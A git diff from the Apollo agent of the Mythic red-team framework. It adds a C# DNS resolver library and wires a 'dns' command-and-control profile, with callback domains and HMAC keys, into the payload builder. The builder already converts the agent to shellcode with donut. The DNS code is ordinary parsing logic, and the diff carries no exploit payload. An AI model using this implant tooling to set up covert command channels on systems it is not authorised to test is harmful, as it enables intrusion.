end of file diff --git a/Payload_Type/apollo/agent_code/DnsProfile/DnsRip/Models/RecordTxt.cs b/Payload_Type/apollo/agent_code/DnsProfile/DnsRip/Models/RecordTxt.cs new file mode 100644 index 00000000..27f4a3c9 --- /dev/null +++ b/Payload_Type/apollo/agent_code/DnsProfile/DnsRip/Models/RecordTxt.cs @@ -0,0 +1,31 @@ +using DnsRip.Utilites; +using System.Collections.Generic; +using System.Text; + +namespace DnsRip.Models +{ + public class RecordTxt : Record + { + public RecordTxt(RecordHelper helper, int length) + { + var pos = helper.Position; + + _value = new List(); + + while (helper.Position - pos < length) + _value.Add(helper.ReadString()); + } + + private readonly List _value; + + public override string ToString() + { + var sb = new StringBuilder(); + + foreach (var txt in _value) + sb.AppendFormat("\"{0}\" ", txt); + + return sb.ToString().TrimEnd(); + } + } +} \ No newline at end of file diff --git a/Payload_Type/apollo/agent_code/DnsProfile/DnsRip/Models/RecordUnknown.cs b/Payload_Type/apollo/agent_code/DnsProfile/DnsRip/Models/RecordUnknown.cs new file mode 100644 index 00000000..17b76012 --- /dev/null +++ b/Payload_Type/apollo/agent_code/DnsProfile/DnsRip/Models/RecordUnknown.cs @@ -0,0 +1,10 @@ +namespace DnsRip.Models +{ + public class RecordUnknown : Record + { + public override string ToString() + { + return "Unknown Record"; + } + } +} \ No newline at end of file diff --git a/Payload_Type/apollo/agent_code/DnsProfile/DnsRip/Models/ResolveResponse.cs b/Payload_Type/apollo/agent_code/DnsProfile/DnsRip/Models/ResolveResponse.cs new file mode 100644 index 00000000..0fb6c61a --- /dev/null +++ b/Payload_Type/apollo/agent_code/DnsProfile/DnsRip/Models/ResolveResponse.cs @@ -0,0 +1,11 @@ +namespace DnsRip.Models +{ + public class ResolveResponse + { + public string Server { get; set; } + public string Host { get; set; } + public uint Ttl { get; set; } + public QueryType Type { get; set; } + public string Record { get; set; } + } +} \ No newline at end of file diff --git a/Payload_Type/apollo/agent_code/DnsProfile/DnsRip/Parser.cs b/Payload_Type/apollo/agent_code/DnsProfile/DnsRip/Parser.cs new file mode 100644 index 00000000..f148cc68 --- /dev/null +++ b/Payload_Type/apollo/agent_code/DnsProfile/DnsRip/Parser.cs @@ -0,0 +1,38 @@ +using DnsRip.Models; +using System.Text.RegularExpressions; + +namespace DnsRip +{ + public class Parser + { + public ParseResult Parse(string input) + { + var result = new ParseResult + { + Input = input, + Evaluated = input.Trim().ToLower() + }; + + var match = Regex.Match(result.Evaluated, @"((?:[0-9]{1,3}\.){3}[0-9]{1,3}|([A-Fa-f0-9]{1,4}::?){1,7}[A-Fa-f0-9]{1,4})"); + + if (match.Success) + { + result.Type = InputType.Ip; + result.Parsed = match.Value; + return result; + } + + match = Regex.Match(result.Evaluated, @"((([a-zA-Z0-9]|[a-zA-Z0-9][a-zA-Z0-9\-]*[a-zA-Z0-9])\.)+([A-Za-z0-9]|[A-Za-z0-9][A-Za-z0-9\-]*[A-Za-z0-9]))($|\.|/|:)"); + + if (match.Success) + { + result.Type = InputType.Hostname; + result.Parsed = match.Groups[1].Value; + return result; + } + + result.Type = InputType.Invalid; + return result; + } + } +} diff --git a/Payload_Type/apollo/agent_code/DnsProfile/DnsRip/Resolver.cs b/Payload_Type/apollo/agent_code/DnsProfile/DnsRip/Resolver.cs new file mode 100644 index 00000000..8d473e56 --- /dev/null +++ b/Payload_Type/apollo/agent_code/DnsProfile/DnsRip/Resolver.cs @@ -0,0 +1,96 @@ +using DnsRip.Extensions; +using DnsRip.Models; +using DnsRip.Utilites; +using System; +using System.Collections.Generic; +using System.Net.Sockets; + +namespace DnsRip +{ + public class Resolver + { + public Resolver(string server) : this(new[] { server }) + { } + + public Resolver(IEnumerable servers) + { + Servers = servers; + Validator = new Validator(); + } + + public int Retries + { + get { return _retries == 0 ? 3 : _retries; } + set { _retries = value; } + } + + public TimeSpan Timeout + { + get { return _timeout.Ticks == 0 ? TimeSpan.FromSeconds(1) : _timeout; } + set { _timeout = value; } + } + + public IEnumerable Servers { get; set; } + public Validator Validator { get; set; } + + private int _retries; + private TimeSpan _timeout; + + public IEnumerable Resolve(string query, QueryType type) + { + var dnsRequest = GetDnsRequest(query, type); + var resolved = new List(); + + foreach (var server in Servers) + { + var attempts = 0; + + while (attempts <= _retries) + { + attempts++; + + try + { + using (var socket = new SocketHelper(dnsRequest, server, _timeout)) + { + var data = socket.Send(); + var dnsResponse = new DnsResponse(data); + + foreach (var resp in dnsResponse.Answers) + { + resolved.Add(new ResolveResponse + { + Server = server, + Host = resp.Name.FromNameFormat(), + Type = resp.Type, + Record = resp.Record.ToString(), + Ttl = resp.Ttl + }); + } + } + + break; + } + catch (SocketException) + { + if (attempts >= 3) + throw; + } + } + } + + return resolved; + } + + private DnsRequest GetDnsRequest(string query, QueryType type) + { + if (type == QueryType.PTR && Validator.IsIp(query)) + query = query.ToArpaRequest(); + + var dnsHeader = new DnsHeader(); + var dnsQuestion = new DnsQuestion(query, type); + + return new DnsRequest(dnsHeader, dnsQuestion); + } + } +} diff --git a/Payload_Type/apollo/agent_code/DnsProfile/DnsRip/Utilites/AdditionalReader.cs b/Payload_Type/apollo/agent_code/DnsProfile/DnsRip/Utilites/AdditionalReader.cs new file mode 100644 index 00000000..f0ce1ae5 --- /dev/null +++ b/Payload_Type/apollo/agent_code/DnsProfile/DnsRip/Utilites/AdditionalReader.cs @@ -0,0 +1,10 @@ +namespace DnsRip.Utilites +{ + public class AdditionalReader : RecordReader + { + public AdditionalReader(RecordHelper helper) + : base(helper) + { + } + } +} \ No newline at end of file diff --git a/Payload_Type/apollo/agent_code/DnsProfile/DnsRip/Utilites/AnswerReader.cs b/Payload_Type/apollo/agent_code/DnsProfile/DnsRip/Utilites/AnswerReader.cs new file mode 100644 index 00000000..777f3e13 --- /dev/null +++ b/Payload_Type/apollo/agent_code/DnsProfile/DnsRip/Utilites/AnswerReader.cs @@ -0,0 +1,10 @@ +namespace DnsRip.Utilites +{ + public class AnswerReader : RecordReader + { + public AnswerReader(RecordHelper helper) + : base(helper) + { + } + } +} \ No newline at end of file diff --git a/Payload_Type/apollo/agent_code/DnsProfile/DnsRip/Utilites/AuthorityReader.cs b/Payload_Type/apollo/agent_code/DnsProfile/DnsRip/Utilites/AuthorityReader.cs new file mode 100644 index 00000000..f1ae5299 --- /dev/null +++ b/Payload_Type/apollo/agent_code/DnsProfile/DnsRip/Utilites/AuthorityReader.cs @@ -0,0 +1,10 @@ +namespace DnsRip.Utilites +{ + public class AuthorityReader : RecordReader + { + public AuthorityReader(RecordHelper helper) + : base(helper) + { + } + } +} \ No newline at end of file diff --git a/Payload_Type/apollo/agent_code/DnsProfile/DnsRip/Utilites/RecordHelper.cs b/Payload_Type/apollo/agent_code/DnsProfile/DnsRip/Utilites/RecordHelper.cs new file mode 100644 index 00000000..5a5a2f4a --- /dev/null +++ b/Payload_Type/apollo/agent_code/DnsProfile/DnsRip/Utilites/RecordHelper.cs @@ -0,0 +1,133 @@ +using DnsRip.Models; +using System.Text; + +namespace DnsRip.Utilites +{ + public class RecordHelper + { + public RecordHelper(byte[] data) + { + _data = data; + Position = 0; + } + + public RecordHelper(byte[] data, int position) + { + _data = data; + Position = position; + } + + public int Position { get; set; } + + private readonly byte[] _data; + + public string ReadDomainName() + { + var sb = new StringBuilder(); + int length; + + while ((length = ReadByte()) != 0) + { + if ((length & 0xc0) == 0xc0) + { + var helper = new RecordHelper(_data, (length & 0x3f) << 8 | ReadByte()); + + sb.Append(helper.ReadDomainName()); + + return sb.ToString(); + } + + while (length > 0) + { + sb.Append(ReadChar()); + length--; + } + + sb.Append('.'); + } + + return sb.Length == 0 ? "." : sb.ToString(); + } + + public string ReadString() + { + var length = ReadByte(); + var sb = new StringBuilder(); + + for (var intI = 0; intI < length; intI++) + sb.Append(ReadChar()); + + return sb.ToString(); + } + + public byte ReadByte() + { + return Position >= _data.Length ? (byte)0 : _data[Position++]; + } + + public byte[] ReadBytes(int intLength) + { + var list = new byte[intLength]; + + for (var intI = 0; intI < intLength; intI++) + list[intI] = ReadByte(); + + return list; + } + + public char ReadChar() + { + return (char)ReadByte(); + } + + public ushort ReadUInt16() + { + return (ushort)(ReadByte() << 8 | ReadByte()); + } + + public ushort ReadUInt16(int offset) + { + Position += offset; + + return ReadUInt16(); + } + + public uint ReadUInt32() + { + return (uint)(ReadUInt16() << 16 | ReadUInt16()); + } + + public Record ReadRecord(QueryType type, int length) + { + switch (type) + { + case QueryType.A: + return new RecordA(this); + + case QueryType.CNAME: + return new RecordCName(this); + + case QueryType.AAAA: + return new RecordAaaa(this); + + case QueryType.NS: + return new RecordNs(this); + + case QueryType.MX: + return new RecordMx(this); + + case QueryType.SOA: + return new RecordSoa(this); + + case QueryType.TXT: + return new RecordTxt(this, length); + + case QueryType.PTR: + return new RecordPtr(this); + + default: + return new RecordUnknown(); + } + } + } +} \ No newline at end of file diff --git a/Payload_Type/apollo/agent_code/DnsProfile/DnsRip/Utilites/RecordReader.cs b/Payload_Type/apollo/agent_code/DnsProfile/DnsRip/Utilites/RecordReader.cs new file mode 100644 index 00000000..0b6aab18 --- /dev/null +++ b/Payload_Type/apollo/agent_code/DnsProfile/DnsRip/Utilites/RecordReader.cs @@ -0,0 +1,30 @@ +using DnsRip.Models; +using System; + +namespace DnsRip.Utilites +{ + public class RecordReader + { + public RecordReader(RecordHelper helper) + { + Name = helper.ReadDomainName(); + Type = (QueryType)helper.ReadUInt16(); + Class = helper.ReadUInt16(); + Ttl = helper.ReadUInt32(); + Record = helper.ReadRecord(Type, helper.ReadUInt16()); + } + + public string Name; + public QueryType Type; + public int Class; + public Record Record; + + public uint Ttl + { + get { return Math.Max(0, _ttl); } + set { _ttl = value; } + } + + private uint _ttl; + } +} \ No newline at end of file diff --git a/Payload_Type/apollo/agent_code/DnsProfile/DnsRip/Utilites/SocketHelper.cs b/Payload_Type/apollo/agent_code/DnsProfile/DnsRip/Utilites/SocketHelper.cs new file mode 100644 index 00000000..ae0f3bd7 --- /dev/null +++ b/Payload_Type/apollo/agent_code/DnsProfile/DnsRip/Utilites/SocketHelper.cs @@ -0,0 +1,42 @@ +using DnsRip.Models; +using System; +using System.Net; +using System.Net.Sockets; + +namespace DnsRip.Utilites +{ + public class SocketHelper : IDisposable + { + public SocketHelper(DnsRequest request, string server, TimeSpan timeout) + { + _request = request; + _server = new IPEndPoint(IPAddress.Parse(server), 53); + _timeout = timeout; + } + + private Socket _socket; + private readonly IPEndPoint _server; + private readonly DnsRequest _request; + private readonly TimeSpan _timeout; + + public byte[] Send() + { + _socket = new Socket(AddressFamily.InterNetwork, SocketType.Dgram, ProtocolType.Udp); + _socket.SetSocketOption(SocketOptionLevel.Socket, SocketOptionName.ReceiveTimeout, 1000); + _socket.SendTo(_request.Data, _server); + + var buffer = new byte[512]; + var received = _socket.Receive(buffer); + var data = new byte[received]; + + Array.Copy(buffer, data, received); + + return data; + } + + public void Dispose() + { + _socket.Dispose(); + } + } +} diff --git a/Payload_Type/apollo/agent_code/DnsProfile/DnsRip/Utilites/Validator.cs b/Payload_Type/apollo/agent_code/DnsProfile/DnsRip/Utilites/Validator.cs new file mode 100644 index 00000000..b609564b --- /dev/null +++ b/Payload_Type/apollo/agent_code/DnsProfile/DnsRip/Utilites/Validator.cs @@ -0,0 +1,67 @@ +using System; + +namespace DnsRip.Utilites +{ + public class Validator + { + public bool IsInteger(object query) + { + int integer; + return int.TryParse(query.ToString(), out integer); + } + + public bool IsIp4(string query) + { + return Uri.CheckHostName(query) == UriHostNameType.IPv4; + } + + public bool IsIp6(string query) + { + return Uri.CheckHostName(query) == UriHostNameType.IPv6; + } + + public bool IsIp(string query) + { + return Uri.CheckHostName(query) == UriHostNameType.IPv4 || + Uri.CheckHostName(query) == UriHostNameType.IPv6; + } + + public bool IsDomain(string query) + { + return Uri.CheckHostName(query) == UriHostNameType.Dns; + } + + public bool IsMx(string query) + { + if (!query.Contains(" ")) + return false; + + var pref = query.Split(' ')[0]; + var ex = query.Split(' ')[1]; + + return IsInteger(pref) && IsDomain(ex); + } + + public bool IsSoa(string query) + { + if (!query.Contains(" ")) + return false; + + var values = query.Split(' '); + var index = 0; + + foreach (var value in values) + { + index++; + + if (index <= 2 && !IsDomain(value)) + return false; + + if (index > 2 && !IsInteger(value)) + return false; + } + + return true; + } + } +} diff --git a/Payload_Type/apollo/agent_code/DnsProfile/Properties/AssemblyInfo.cs b/Payload_Type/apollo/agent_code/DnsProfile/Properties/AssemblyInfo.cs new file mode 100644 index 00000000..940f5e30 --- /dev/null +++ b/Payload_Type/apollo/agent_code/DnsProfile/Properties/AssemblyInfo.cs @@ -0,0 +1,36 @@ +using System.Reflection; +using System.Runtime.CompilerServices; +using System.Runtime.InteropServices; + +// General Information about an assembly is controlled through the following +// set of attributes. Change these attribute values to modify the information +// associated with an assembly. +[assembly: AssemblyTitle("DnsProfile")] +[assembly: AssemblyDescription("")] +[assembly: AssemblyConfiguration("")] +[assembly: AssemblyCompany("")] +[assembly: AssemblyProduct("DnsProfile")] +[assembly: AssemblyCopyright("Copyright © 2021")] +[assembly: AssemblyTrademark("")] +[assembly: AssemblyCulture("")] + +// Setting ComVisible to false makes the types in this assembly not visible +// to COM components. If you need to access a type in this assembly from +// COM, set the ComVisible attribute to true on that type. +[assembly: ComVisible(false)] + +// The following GUID is for the ID of the typelib if this project is exposed to COM +[assembly: Guid("2ed749a9-a6ff-4c49-bda5-e3435e50dd5e")] + +// Version information for an assembly consists of the following four values: +// +// Major Version +// Minor Version +// Build Number +// Revision +// +// You can specify all the values or you can default the Build and Revision Numbers +// by using the '*' as shown below: +// [assembly: AssemblyVersion("1.0.*")] +[assembly: AssemblyVersion("1.0.0.0")] +[assembly: AssemblyFileVersion("1.0.0.0")] diff --git a/Payload_Type/apollo/mythic/agent_functions/builder.py b/Payload_Type/apollo/mythic/agent_functions/builder.py index bb5bbdd1..e0d4b78b 100644 --- a/Payload_Type/apollo/mythic/agent_functions/builder.py +++ b/Payload_Type/apollo/mythic/agent_functions/builder.py @@ -1,5 +1,6 @@ from mythic_payloadtype_container.PayloadBuilder import * from mythic_payloadtype_container.MythicCommandBase import * +from mythic_payloadtype_container.MythicRPC import * import os, fnmatch, tempfile, sys, asyncio from distutils.dir_util import copy_tree import traceback @@ -30,7 +31,7 @@ class Apollo(PayloadType): description="Output as shellcode, executable, or dynamically loaded library.", ) ] - c2_profiles = ["http", "smb", "tcp"] + c2_profiles = ["http", "smb", "tcp", "dns"] support_browser_scripts = [ BrowserScript(script_name="copy_additional_info_to_clipboard", author="@djhohnstein"), BrowserScript(script_name="create_table", author="@djhohnstein"), @@ -71,6 +72,10 @@ async def build(self) -> BuildResponse: "encrypted_exchange_check": "", "payload_uuid": self.uuid, "AESPSK": "", + "callback_domains": "", + "msginit": "", + "msgdefault": "", + "hmac_key": "", }, } success_message = f"Apollo {self.uuid} Successfully Built" @@ -98,6 +103,15 @@ async def build(self) -> BuildResponse: else: special_files_map["Config.cs"][key] = json.dumps(val) try: + main_config_dns = await MythicRPC().execute_c2rpc(c2_profile="dns", function_name="get_instance_settings",message="get config parameters",task_id=None) + main_config_dns = main_config_dns.response + for i in main_config_dns['instances']: + domains = special_files_map["Config.cs"]["callback_domains"] + if domains in i["callback_domains"]: + if "hmac_key" in i: + special_files_map["Config.cs"]["hmac_key"] = i["hmac_key"] + else: + await MythicRPC().execute_c2rpc(c2_profile="dns", function_name="set_hmac_key",message="set hmac key",task_id=None) # make a temp directory for it to live agent_build_path = tempfile.TemporaryDirectory(suffix=self.uuid) # shutil to copy payload files over @@ -130,7 +144,7 @@ async def build(self) -> BuildResponse: if stderr: stdout_err += f'[stderr]\n{stderr.decode()}' + "\n" + command output_path = "{}/Apollo/bin/Release/Apollo.exe".format(agent_build_path.name) - + if os.path.exists(output_path): resp.status = BuildStatus.Success targetExeAsmPath = "/srv/ExecuteAssembly.exe" @@ -154,13 +168,13 @@ async def build(self) -> BuildResponse: command = "chmod 777 {}; chmod +x {}".format(donutPath, donutPath) proc = await asyncio.create_subprocess_shell(command, stdout=asyncio.subprocess.PIPE, stderr= asyncio.subprocess.PIPE) stdout, stderr = await proc.communicate() - + command = "{} -f 1 {}".format(donutPath, output_path) # need to go through one more step to turn our exe into shellcode proc = await asyncio.create_subprocess_shell(command, stdout=asyncio.subprocess.PIPE, stderr=asyncio.subprocess.PIPE, cwd=agent_build_path.name) stdout, stderr = await proc.communicate() - + stdout_err += f'[stdout]\n{stdout.decode()}\n' stdout_err += f'[stderr]\n{stderr.decode()}'